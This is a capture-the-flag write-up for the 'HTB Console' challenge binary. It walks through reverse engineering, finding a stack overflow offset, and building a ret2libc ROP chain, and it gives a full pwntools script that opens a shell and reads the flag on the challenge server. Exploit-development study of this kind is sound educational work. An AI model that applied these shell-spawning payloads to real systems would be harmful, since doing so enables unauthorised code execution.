HTB Console
5 minutes to read
We are given a 64-bit binary called htb-console
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Reverse engineering
If we use Ghidra, we will see the following main
function:
void main() {
char command[16];
setup();
puts("Welcome HTB Console Version 0.1 Beta.");
do {
printf(">> ");
fgets(command, 16, stdin);
console(command);
memset(command, 0, 16);
} while(true);
}
The above code only asks for user input and passes the string to console
:
void console(char *command) {
int res;
char flag[16];
res = strcmp(command, "id\n");
if (res == 0) {
puts("guest(1337) guest(1337) HTB(31337)");
} else {
res = strcmp(command, "dir\n");
if (res == 0) {
puts("/home/HTB");
} else {
res = strcmp(command, "flag\n");
if (res == 0) {
printf("Enter flag: ");
fgets(flag, 48, stdin);
puts("Whoops, wrong flag!");
} else {
res = strcmp(command, "hof\n");
if (res == 0) {
puts("Register yourself for HTB Hall of Fame!");
printf("Enter your name: ");
fgets(name, 10, stdin);
puts("See you on HoF soon! :)");
} else {
res = strcmp(command, "ls\n");
if (res == 0) {
puts("- Boxes");
puts("- Challenges");
puts("- Endgames");
puts("- Fortress");
puts("- Battlegrounds");
} else {
res = strcmp(command, "date\n");
if (res == 0) {
system("date");
} else {
puts("Unrecognized command.");
}
}
}
}
}
}
}
Buffer Overflow vulnerability
There’s a Buffer Overflow vulnerability in the above code, since flag
is a character array of 16 bytes, but using command flag
we can enter up to 48 bytes, causing an overflow and overwriting values on the stack.
This is a security issue because the stack stores data used by the program to follow the execution flow. For instance, we can find the saved return address to main
in order to return at the end of the console
function.
With the Buffer Overflow vulnerability, we will be able to modify that saved return address and thus control program execution. Let’s use GDB to find the amount of bytes needed to achieve that (also known as offset):
$ gdb -q htb-console
Reading symbols from htb-console...
(No debugging symbols found in htb-console)
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./htb-console
Welcome HTB Console Version 0.1 Beta.
>> flag
Enter flag: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Whoops, wrong flag!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401396 in ?? ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 24 (little-endian search) likely
[+] Found at offset 17 (big-endian search)
Obviously, we got a segmentation fault, but we found out that we need exactly 24 bytes to reach the position of the return address saved in the stack.
ret2libc attack
The next step to exploit the binary is find a nice address to return. Since NX is enabled, we must use Return Oriented Programming (ROP) in order to execute arbitrary code. The common technique is ret2libc, whose objective is to call system("/bin/sh")
.
Luckily, system
is a function already linked to the binary since it is used in the date
command, so we can call it using the Procedure Linkage Table (PLT). Furthermore, since PIE is disabled, the address of system
at the PLT is fix (0x401040
):
$ objdump -M intel -d htb-console | grep system
0000000000401040 <system@plt>:
401381: e8 ba fc ff ff call 401040 <system@plt>
Now we need to load the string "/bin/sh"
as the first parameter to system
. In x86_64 programs, $rdi
register is used to hold the first parameter. In order to set this register to the value we want, we will use a gadget pop rdi; ret
. A gadget is just a set of instructions that end in ret
. This is useful in Return Oriented Programming, since the stack will be filled with gadget addresses that are executed consecutively due to ret
will return to the next address saved in the stack (that’s why this kind of payload is called ROP chain).
We can use ROPgadget
to find such gadget. Again, since PIE is disabled, the address is fix (0x401473
):
$ ROPgadget --binary htb-console | grep 'pop rdi ; ret'
0x0000000000401473 : pop rdi ; ret
Alright, the last piece we need is the address of "/bin/sh"
. Typically, one would use Glibc to get this string. This time, we will take advantage ot a program’s feature. There’s a global variable called name
where we can store data (command hof
). Since it is a global variable and PIE is disabled, its address is fix:
gef➤ run
Starting program: ./htb-console
Welcome HTB Console Version 0.1 Beta.
>> hof
Register yourself for HTB Hall of Fame!
Enter your name: asdf
See you on HoF soon! :)
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ grep asdf
[+] Searching 'asdf' in memory
[+] In './htb-console'(0x404000-0x405000), permission=rw-
0x4040b0 - 0x4040b6 → "asdf\n"
So we will use address 0x4040b0
to store the string "/bin/sh"
.
Final exploit
To sum up, this will be the ROP chain:
def main():
p = get_process()
pop_rdi_ret_addr = 0x401473
name_addr = 0x4040b0
system_call_addr = 0x401381
offset = 24
junk = b'A' * offset
payload = junk
payload += p64(pop_rdi_ret_addr)
payload += p64(name_addr)
payload += p64(system_call_addr)
p.sendlineafter(b'>> ', b'hof')
p.sendlineafter(b'Enter your name: ', b'/bin/sh\0')
p.sendlineafter(b'>> ', b'flag')
p.sendlineafter(b'Enter flag: ', payload)
p.recv()
p.interactive()
If we run it locally, we get a shell:
$ python3 solve.py
[*] './htb-console'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './htb-console': pid 2748889
[*] Switching to interactive mode
$ ls
htb-console solve.py
Flag
So let’s go remote:
$ python3 solve.py 167.99.90.155:30955
[*] './htb-console'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 167.99.90.155 on port 30955: Done
[*] Switching to interactive mode
$ ls
console
flag.txt
$ cat flag.txt
HTB{fl@g_a$_a_s3rv1c3?}
The full exploit can be found in here: solve.py
.